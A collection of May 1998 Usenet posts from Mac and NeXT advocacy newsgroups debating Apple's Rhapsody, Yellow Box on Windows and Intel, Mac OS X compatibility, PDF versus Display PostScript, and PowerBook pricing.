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Maury Markowitz wrote:
> In <3561CC4E.ABC15086@milestonerdl.com> m rassbach claimed:
> > Under Intel you have MANY commerical Unixes.SCO's Unixware and OpenServer
> > Solaris X86
> > BSDI
>
> One difference though, they all suffer from one degree or another of
> suckyness.
Suckyness at the price they charge?
What on them do you find suckie?
> None of them could be seen as a replacement for a desktop OS,
> whereas Rhapsody certainly can be. Taken together I believe all of these
> have smaller marketshare than Linux.
What numbers I've been able to find (looking due to an old Joe Ragosta
comment)6+million Linux at 100k a month increase.
4+ million FreeBSD at 50-75K a month increase.
Commerical Intel at 10 mil.
> Sure, but the _Unix_ camp has other types of customers too...
> a) education sites using it as a teaching tool
> b) developers wanting rich tools
> c) server users
> d) people who need superfast workstations
> Apple can easily compete on the first two, to a more limited degree on the
> next (many servers are small remember) and a little bit on the last.
Apple has b. Good enuf to enspire GnuSTEP. The others are factors....same as
quality.Ok - from a different vector, Apple is a company afraid to compete. Or,
perhaps doesn't know how. (Clones, PDA market, cameras, printers, blah blah
blah)
> Personally I think when people start seeing the DR2 in action, the current
> benchmark wars will degrade.
The benchmark war on the desktop is a 1 sided action.
> > If I buy a Macintosh, can I give it to an associate AND still use it
> myself?
> I don't see what this has to do with anything.
How much money would Apple 'lose' to piracy.
Remember: during (I believe) MacOS in 1998 (the QT video) the comment was made
about millions lost in piracy over 8.X.
> Whoa, so we should base our arguments on people stealing software?!? Come
> now!
Welp, 'tis a factor. And i doubt Apple would tell.
From: rak@netaxs.com (Rich K. (netaxs staff))
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Followup-To: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 18 May 1998 18:04:40 GMT
Organization: Philadelphia's Complete Internet Provider
Message-ID: <6jpt7o$arg@netaxs.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <joe.ragosta-0905981301430001@elk37.dol.net>
macghod@concentric.net wrote:
: In <6jo41u$qs9$1@nntp2.ba.best.com> Nathan Keir Edel wrote:
: > In comp.sys.mac.portables John Linnemann <johntl@means.net> wrote:
: > > Apple now has a G3 notebook for $2300 and it is coming out with a
: consumer
: > > notebook in early 1999.
: >
: > $2300 for a passive matrix (FRSTN, no?) system is not inexpensive, although
: > given the speed of the system, it's a very good value...
:
:
: Actually, its not that good of a deal. I saw the benchmarks for the 230 mhz
: chip and was astounded to see it is about as fast (slow) as a 3400. FOr a
: couple hundred less you can get a 3400 with a active matrix. Apple must of
: put alot of work into crippling the 230 mhz version to make it as slow as a
: 3400
Not all that much work. Just the fact that the 233s run on a 740
processor with no backside cache instead of the 750s found in the others
is enough to eliminate most of the g3's advantages.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 18 May 1998 11:02:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B185C5BA-11315@206.165.43.37>
References: <joe.ragosta-1805980857160001@wil100.dol.net>
nntp://news.primenet.com/comp.sys.mac.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Joe Ragosta <joe.ragosta@dol.net> said:
>
>But since they're separate groups, spending time in the applications group
>on Yellow wouldn't detract from the time spent by the OS group.
>
>I agree with Peter. Apple needs to be the first on the block supporting
>their key technologies. Yellow Box is one of them.
>
>--
But then APpleWorks (AKA 'ClarisWorks') would no longer work on 68K or 601
PowerMacs, and, perhaps not on 603/604 PowerMacs, either.
It is STILL not clear whether or not MacOS X will work on any pre-G3
machines.
Given the above, you would then be asking Apple to support 3 platforms:
68K/PowerPC System 7.x, MacOS X/Rhapsody, Windows 3.1.
This is hardly worth doing, I suspect.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 19 May 1998 14:10:02 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6js3rq$h02$3@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
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Cc: MJPECK@CONVEX.COM
In <3561D59A.6D04@CONVEX.COM> Michael Peck claimed:
> I don't think it even has to be that way, and I don't think Maury does
> either. I've gotta believe that there are ways to achieve Rhapsody/Linux
> synergy without negatively affecting either OS in terms of growth rates.
Hear hear.
> An X server for Rhapsody would be a big start.
And perhaps there's the perfect solution. How about putting a good one on
the PC side only? That way they really could sell it to two completely
different markets...
a) on the PMac you get Rhapsody + MacOS
b) on the PC you get Rhapsody + X/Linux/Open
I think it could fly.
> Even quiet announcements of tiny little things like ext2 support would
> instantly endear Apple to millions, believe me.
Yup, for free no less.
> [raises hand halfway]
>
> For under $200?
Likely a bit more than this - but that's with everything included.
> That's the key *right there*. Apple has to prove itself to these people
Not just those people, but the people that are buying Macs too. If I knew
that MacOS ran on PC's, I'd buy another Mac instead of the PC I bought. That
may sound paradoxical but I believe many people are in the same boat.
> and Jobs will find it easier to sell a $200 Rhapsody to the doubters
> than to sell a $2000 Macintosh to them.
Oh yeah!!!
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 18 May 1998 11:04:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B185C630-12EC4@206.165.43.37>
References: <6jp3h2$1cc$89@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
mmalcolm crawford <malcolm@plsys.co.uk> said:
>by this speci=C6cation. Consumers, applications that read PDF =C6les
and
>interpret their contents, are expected to implement correctly the
>semantics
>of objects that are speci=C6ed by PDF 1.1 and, as gracefully as
possible, to
>ignore any objects that they do not understand.
>
>PDF spec p 19.
>
>Still, don't let facts get in the way of a good argument, eh.
>
The fact is, PDF won't do anything with objects that it doesn't
understand. Why encapsulate unknown graphical objects in a format that
is less-than-easy to manipulate edit in the first place?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: give them what they want, what they really really want... :-)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d9abrx.ybo6ern2h8trN@roxboro0-060.dyn.interpath.net>
References: <6jpv0r$1cc$103@ironhorse.plsys.co.uk> <35609d7c.0@news.velocity.net>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Tue, 19 May 1998 21:31:46 GMT
NNTP-Posting-Date: Tue, 19 May 1998 14:31:46 PDT
In comp.sys.next.advocacy Ryan <ryanjb@velocity.net> wrote:
> Really I am very happy with Microsoft Products....stupid.
>
> mmalcolm crawford wrote in message <6jpv0r$1cc$103@ironhorse.plsys.co.uk>...
-snip-
Change that stupid quoting convention to the normal one then talk about
being happy with MS.
--
John Moreno
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 18 May 1998 11:08:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B185C73A-16D3B@206.165.43.37>
References: <6jp3vd$1cc$90@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>I'd expect it to be as good, and much better in some respects -- for one
>thing the text will be searchable, something Lawson's been wibbling about
>for
>ages...
Really? You can search for instances of 'f' and 'l' in a PS string that
contains the 'fl' ligature? Nice search engine that finds 'f','l','a','g'
in a string that contains 'fl','a','g'.
Seems to me that it would be far simpler to keep it in a format that
retains 'f','l','a','g' until the last instant before translation into the
printing format.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 18 May 1998 17:53:50 GMT
Organization: P & L Systems
Message-ID: <6jpsje$1cc$100@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>
<6j9d8c$ft4$1@larry.admin.phil.uu.nl> <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
<mcasse-2708561359510001@line8047.ras.ilstu.edu> <ericb-1405981247490001@132.236.171.104>
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Cc: ericb@pobox.com
In <ericb-1405981247490001@132.236.171.104> Eric Bennett wrote:
> In article <mcasse-2708561359510001@line8047.ras.ilstu.edu>,
> > MacOS will have TWO, count them two, APIs: Carbon (MacOS) and Yellow Box
> > (NeXT). MacOS X is macOS on Mach.
>
> Three! The MacOS 8 APIs will still work too!
>
Rubbish. Show me where it says that.
MacOS 8 apps will only run in the BlueBox, which can be regarded as a
seperate application. Carbon is a subset of MacOS APIs which allow an
application to be tweaked to run native on MacOS X.
mmalc.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 18 May 1998 14:16:24 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jptto$roq$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981553500001@132.236.171.104> <6jnfgg$prv$1@crib.bevc.blacksburg.va.us> <ericb-1805981350170001@132.236.171.104>
In article <ericb-1805981350170001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
> In article <6jnfgg$prv$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > Yes, but would YB have shipped with every new Mac? It would have been
> > the smart choice.. anyway, YB under OS X will run better than YB under
> > MacOS.
> Yes, but it is the usual Apple story: put off what was promised for
> something even better, but neither of which can be delivered, so will you
> please all just wait another year and a half...
> There comes a point when I don't care about a year and a half from now. I
> would want to see YB running on MacOS 8 *now* even if it's not the perfect
> environment.
Do you really think that we would have seen YB for MacOS very quickly?
It's probably easier to put Carbon on Rhapsody, given a working Blue
Box technology, than it is to put Yellow on MacOS.
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: Tue, 19 May 1998 15:15:45 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3561E871.8C3D649F@milestonerdl.com>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <6jn8d4$1cc$66@ironhorse.plsys.co.uk>
<6jna7v$poi$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1805981526190001@wil111.dol.net>
<6jq3is$mhk$5@news.xmission.com> <joe.ragosta-1805981651520001@wil113.dol.net>
<6jq8er$mhk$6@news.xmission.com> <6jq95g$8qf$1@news.seicom.net>
<6jse4l$cqh$2@msunews.cl.msu.edu> <3561BDE5.191D7263@milestonerdl.com> <6jsk1p$r9l$1@msunews.cl.msu.edu>
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spammers@ruin.the.internet.channelu.com wrote:
> In <3561BDE5.191D7263@milestonerdl.com> m rassbach wrote:
> >
> >
> > spammers@ruin.the.internet.channelu.com wrote:
> >
> > >BTW: This Connectix Virtual PC to Real PC comparision I find
> >
> > > highly interesting. If Apple can use Virtual PC to get PC
> > > compatibility
> > > on PPC that might be enough for the end users.. Thing is I can't
> > > see it. I can't see how any of this is going to sell more PPC's.
> >
> > VPC and the Softwin/RealPC is a holding action. If you already have
> a
> > bunch of Mac Software, and you can get them for PC's, why not move to
> a
> > PC? At least that ONE PC program you can't run woudl be supported.
> With
> > VPC/Softwin/RealPC it's that one program runs in a 'compatibility
> box'.
> >
> > It slows the slipping of Macintosh further into obscurity.
> >
> > > Make the case for Apple's bottom line and then get the numbers
> > > of e-mails and phone calls and I'm sure Apple will listen.
> >
> > Yea. Right. You just keep telling yourself that.
Ok.
OpenDoc users have asked for a change in Apple policy. Nadda
Newton users/developers have asked for a change in Apple policy. Nadda
Apple ][ users asked for a change in Apple policy. Nadda
> So join the debate and blast the points to hell.
The track record on Apple listening is, well poor.
> At least I'm trying
> to give a shot to debating both sides so somehow it can become
> clear whether there is any reason for Apple supporting Rhapsody
> on Intel. If so then we should give it to them. If not then oh well
> we'll at least understand the reasons why they should drop it.
> (even though we may not like it)
It all depends on what your primary assumptions about Apple are.
First and formost: Apple is a hardware company. (Assumed)
Apple makes PPC based hardware. (fact)
Apple makes money off of PPC based hardware. (fact)
Anything that does not directly contribute to PPC bottom-line profits is
excessive baggage. (Assumed)
THEREFORE: YellowBox on anything but PPC is in danger of being cancelled
at any time.
> If you don't think Apple dropping Rhapsody for Intel will contribute
> to their "slipping of Macintosh further into obscurity" then you
> can avoid the Debate.
Nope. I believe it's part of 'yellowbox on Intel going away' in the long
term.
Apple's fate is 10% or less of the market....for at least 2 more years.
Less if iMac fails, and Jobs gets ousted. (Upon removal, the ensuing
technology shuffle will kill YB)
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Tue, 19 May 1998 15:53:44 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3561F158.580D297E@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <6js3lh$h02$2@ns3.vrx.net> <6jsp0r$ut0$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <6js3lh$h02$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> > In <6jsiib$uma$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> > > Idiot.
> > Whoa, I think I must have missed some interesting threads while I was gone!
> Indeed. Rassbach has been insisting that Apple's lack of an official
> press release indicates that Apple does not plan to extend its YB/Windows
> support to NT5/98, and because we can't provide him a Quicktime with
> an Apple official stating this, we're all a bunch of naive fools for
> believing it
You forgot, that even if Apple says it, it may not happen. You loved that part, and in the
interest of bringing your existance joy, I'm reminding you so you can post on that topic.
> Never mind what Scott Anguish, Mike Paquette, and other
> WWDC attendees have said.
Apple has said alot at past WWDC's. Copland, Newton, OpenDoc...etc la. Attendees have a
history of hearing what they want to hear. (Damn human failing....)
Based on what people THOUGHT they heard Steve Jobs say, MacOS X was announced to be G3 only.
Others 'heard' that the PPC->PCI boxes will be the baseline for support.
Based on an e-mail, MacOSRumors reported Intel/Rhapsody is alive. Yet, others say Steve Jobs
and in a Q&A (!97) that Intel/Rhapsody is dead beyond 1.0 release. All I have been asking
for is a statement from Apple via a press release or white paper that outlines what the NT5/98
plans are.
And for some reason the writers who appear at StepWise and Nathan don't feel a press release
is reasonable to ask for.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 18 May 1998 14:21:08 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jpu6k$rps$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104>
In article <ericb-1805981357420001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
> In article <joe.ragosta-1805980747570001@wil100.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > I see. So it's safe to assume that there will never be a Windows NT 6.0?
> > After all, there's no formal announcment.
> > Or, Intel will never ship an x86 chip after 1999? No announcement.
> > Darn--I better find an alternative to Office. There won't be a product
> > after Office 99. (by your logic).
> Companies need to map out their strategies ahead of time. Apple has
> mapped out its strategy for OSes that run MacOS applications through the
> end of 1999. It has *not* done the same for the yellow box. Why?
Excuse me? The stated strategy is that it will be running on MacOS
X and Windows in 18 months (actually, Windows in a few months), and
probably also on a separate "Rhapsody" product (also in a few months).
They have mapped out the technologies they have folded into it or are
intending to fold into it, including scripting, Java, Quicktime, etc.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 18 May 1998 14:23:42 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jpube$rqq$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981606110001@132.236.171.104> <6jnioc$q2s$1@crib.bevc.blacksburg.va.us> <ericb-1805981403350001@132.236.171.104>
In article <ericb-1805981403350001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
> In article <6jnioc$q2s$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > Granted, but on the other hand, Scott Anguish is not MacWeek, he's very
> > careful about what he reports, _and_ we have independent corroboration
> > from an Apple employee that YB at least runs on the Windows betas in
> > the Apple labs. That's credible enough for me.
> The fact that Apple has bothered to test YB on the Windows betas is
> certainly reassuring, although I still don't see what Apple has to gain by
> not making their support for the x86 public.
What do you mean they haven't made their support for the x86 public??
They have _very clearly_ stated in public that Yellow Box for Windows
will be a supported product.
As for specific NT5/98 support, "public" as in "they told everyone at
WWDC" and "Apple employees have said so in this newsgroup" is public
enough for me.
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Tue, 19 May 1998 15:31:01 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-1905981531010001@130.130.117.53>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <rmcassid-1405981211310001@dante.eng.uci.edu> <nagleEt1DyG.5qM@netcom.com> <355DCB6D.4269@earthlink.net> <rmcassid-1805981629360001@dante.eng.uci.edu> <hEa81.27111$Jd6.2510193@news.rdc2.occa.home.com>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <hEa81.27111$Jd6.2510193@news.rdc2.occa.home.com>,
akira@home.com wrote:
:Take for example a tree of directories with lots of .JPG files that I want
:to convert to have .jpeg extensions. A breeze to do by CLI. Not so easy by
:GUI, not w/o a custom app for doing that kind of operation, and how many
:apps exist like that. To build in all the capabilities of a CLI into a GUI,
:the GUI would end up being as complex, if not worse than a CLI.
A kludge to make file type information availible in a command line
interface is best modified using a command line. Personally I think
filetyper (sic) and File Buddy on the mac are much better than a command
line for doing that sort of thing. Still you are just saying that a
command line does command line oriented things better. I would imagine
that in many cases that is going to be true. So what. Apple should make it
so the developer cannot depend that the CLI will be there in order to make
sure that the person who never wants to use it does not have to.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Tue, 19 May 1998 16:18:35 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-1905981618350001@130.130.117.53>
References: <joe.ragosta-1905980909400001@wil94.dol.net> <B18718E0-3215B@206.165.43.112>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <B18718E0-3215B@206.165.43.112>, "Lawson English"
<english@primenet.com> wrote:
:Really? You think that those Quadras and other recent 68K machines don't
:have the latest version of CW on them?
True I have a client that is running ClarisWorks 5 (actually office) on a
dozen machines ranging from a 16mhz Mac IIcx (more than half the macs in
fact) to a 200mhz+ Powermac. Sure it was only around a thousand dollars in
software expenditures but it does add up. Personally I think that dealing
with this at the file format level is better though. If I could very
easily run an older less bloated version of CW and be able to have it work
with the newer files I would be *much* happier.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: Christian Benesch <a9226931@unet.univie.ac.at>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 18 May 1998 20:25:06 +0200
Organization: Vienna University, Austria
Message-ID: <35607D02.FF2F17F0@unet.univie.ac.at>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104> <joe.ragosta-1505981426030001@wil136.dol.net> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net>
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Joe Ragosta wrote:
> Did you notice that all the "YB is dead", "Rhapsody is dead", etc posts
> never have any evidence to back up their position (other than some badly
> twisted distortions of what someone said)?
>
>
Even worse.They were distortions of what someone(Steve Jobs that is) did NOT
say.All these apocalytic threads root in Monday's key note.
Christian Benesch
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 18 May 1998 18:03:13 GMT
Organization: P & L Systems
Message-ID: <6jpt51$1cc$101@ironhorse.plsys.co.uk>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com>
<6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com>
<6jff08$7ei$1@crib.bevc.blacksburg.va.us> <6jigao$3pg$2@vixen.cso.uiuc.edu>
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Cc: stwillis@ews.uiuc.edu
In <6jigao$3pg$2@vixen.cso.uiuc.edu> willis sean timothy wrote:
> Quite the persuasive argument. I think the s/n ratio round these parts has
> actually increased to new heights with this WWDC, and you're a great part
> of it. Please let it go, for now at least.
>
I think you mean "decreased" :-)
Best wishes,
mmalc.
From: "A. J. LaSalle" <alasalle@ctron.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Tue, 19 May 1998 17:17:29 -0400
Organization: Cabletron Systems Inc.
Message-ID: <3561F6E9.15FB7483@ctron.com>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <6jsfi4$uhv$1@crib.bevc.blacksburg.va.us> <6jsobd$rhn@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Nathan Urban <nurban@vt.edu> wrote:
>
> >Yellow/Windows suffers from intrinsic problems with NT, and doesn't give
> >a taste of the real Mac OS for those interesting in transitioning from
> >Windows to Macs.
>
> I'm not sure what the first part of the above sentence means, but
> if the Yellow-Box-on-Windows-applications have problems other than
> those shared by all Windows applications, then the
> Yellow-Box-cross-platform strategy is dead.
>
> ***
>
> To put the whole question in another way :
> what is Apple's prime task, as far as wooing developers
> to the Yellow-Box is concerned ?
>
> The answer is (if the Yellow Box is as good as advertised) :
> increase the number of seats that can run yellow-box-applications
> as rapidly as possible.
>
> To this end, Yellow-Box-on-Windows is far more important than
> Rhapsody-on-Intel.
>
> -arun gupta
Right. And providing Windows native YB development tools is also
far more important than Rhapsody-on-Intel.
AJ LaSalle
From: Christian Benesch <a9226931@unet.univie.ac.at>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 20 May 1998 00:00:51 +0200
Organization: Vienna University, Austria
Message-ID: <35620113.8B8D74F3@unet.univie.ac.at>
References: <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147>
<6h5bfk$58j$2@ironhorse.plsys.co.uk> <01bd699d$3a2001c0$3af0bfa8@davidsul>
<slrn6jcu7s.lbp.sal@panix3.panix.com> <01bd69f7$fbc3e580$40f0bfa8@davidsul>
<slrn6jk4ch.rln.sal@panix3.panix.com> <01bd6bf8$ee914080$15f0bfa8@davidsul>
<6hg5an$57p$12@ironhorse.plsys.co.uk> <01bd6cde$5aa2cc40$24f0bfa8@davidsul> <6hhi9k$57p$16@ironhorse.plsys.co.uk>
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All you might have to redo is the .nib-file, that's all
So for getting started in OpenStep, learning the concepts etc. OS 4.2 will do the
trick.
(This goes for WebObjects and EOF as well).
Christian Benesch
mmalcolm crawford wrote:
> In <01bd6cde$5aa2cc40$24f0bfa8@davidsul> "NeXT Newbie" wrote:
>
> > So a OPENSTEP program will run on rhapsody?
> >
> Yes, the code will, in 99.9% of cases (there have been a few tweaks, but
> they're only likely to affect anyone with a lot of legacy code), simply
> recompile. We've been saying this for about a year now -- it's difficult to
> understand how you've missed the point.
>
> > I figured that since
> > OPENSTEP will be given a mac front end, one would need to know the rhapsody
> > api calls to give their rhapsody app a rhapsody gui, which I understand
> > will be a different gui than what OPENSTEP has, ie a more mac like gui?
> >
> Umm, you already know that an OPENSTEP app running on Windows has a Windows
> GUI, right? So why won't a Rhapsody app have a Rhapsody GUI using the same
> code and interface specification...? It Just Works. It's been working for
> years.
>
> mmalc.
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 19 May 1998 21:54:56 GMT
Organization: Digital Fix Development
Message-ID: <6jsv3g$bia$1@news.digifix.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <6js3lh$h02$2@ns3.vrx.net> <6jsp0r$ut0$1@crib.bevc.blacksburg.va.us> <3561F158.580D297E@milestonerdl.com>
In-Reply-To: <3561F158.580D297E@milestonerdl.com>
On 05/19/98, m rassbach wrote:
<snip>
>Based on an e-mail, MacOSRumors reported Intel/Rhapsody is alive.
Look at the name of the site. Does that give you a clue as to
the accuracy? Look at the track record as recent as two weeks ago
when they said that Blue Box on Rhapsody wouldn't support networking..
WRONG.
>Yet, others say Steve Jobs and in a Q&A (!97) that Intel/Rhapsody
>is dead beyond 1.0 release. All I have been asking for is a
>statement from Apple via a press release or white paper that
>outlines what the NT5/98 plans are.
>
Apple outlined their plans with regard to Yellow Box on
Windows at WWDC. That hasn't changed.
WebObjects relies on YB on NT. The fourth largest contract
ever awarded by the Federal Goverment is based on WebObjects.
>And for some reason the writers who appear at StepWise and Nathan
>don't feel a press release is reasonable to ask for.
>
I've never said that.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: 19 May 1998 17:06:42 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6jse72$o3i$2@ns3.vrx.net>
References: <6js47n$h02$4@ns3.vrx.net> <B1874A98-7A3E@206.165.43.108>
Mime-Version: 1.0
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Cc: english@primenet.com
In <B1874A98-7A3E@206.165.43.108> "Lawson English" claimed:
> > It's not a bad thing.
>
> It would be slower than a binary format optimized for speed.
Har! Talk to me about speed after you've used it. This thing STOMPS.
> > No it doesn't. Not in the least. Period.
>
> Um, features?
Sigh. More talking to the wall I see:
Me: Having the same features does not imply it's based on GX
You: well it's based on the same feature set.
Some argument Lawson.
> If you implement them using ANY strategy. You still need some way of
> encapsulization and display of the style info AND you need a 3x3 matrix to
> handle certain features.
Great, I'll stop holding my breath now.
> Macintosh is a complete failure also, you know. I'm willing to bet that
> there's plenty of places where the only reason to buy a Mac was GX. E.G.,
> China and REady, Set, Go, which was/is bundled with every Mac.
And obviously that's what sold all 22 million machines currently in use,
right?
Maury
From: Christian Benesch <a9226931@unet.univie.ac.at>
Newsgroups: comp.soft-sys.nextstep,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.misc
Subject: Re: good books for openstep?
Date: Wed, 20 May 1998 00:09:42 +0200
Organization: Vienna University, Austria
Message-ID: <35620326.4D946311@unet.univie.ac.at>
References: <01bd6661$b87e7cc0$43f0bfa8@davidsul>
Mime-Version: 1.0
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To: NeXT Newbie <macghod@concentric.net>
There is a terrific online-documentation, with developer tutorials,
sys-admin issues - in short everything one needs.
Developer tutorials come with OS 4.2 in printed form ( with the academic
bundle at least).
Both are a great help and cover about everything.
Christian Benesch
NeXT Newbie wrote:
> What are some good books for openstep and/or the unix underneath?
> Including stuff like system maintance, setting up ppp, email, modems etc
> etc.
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
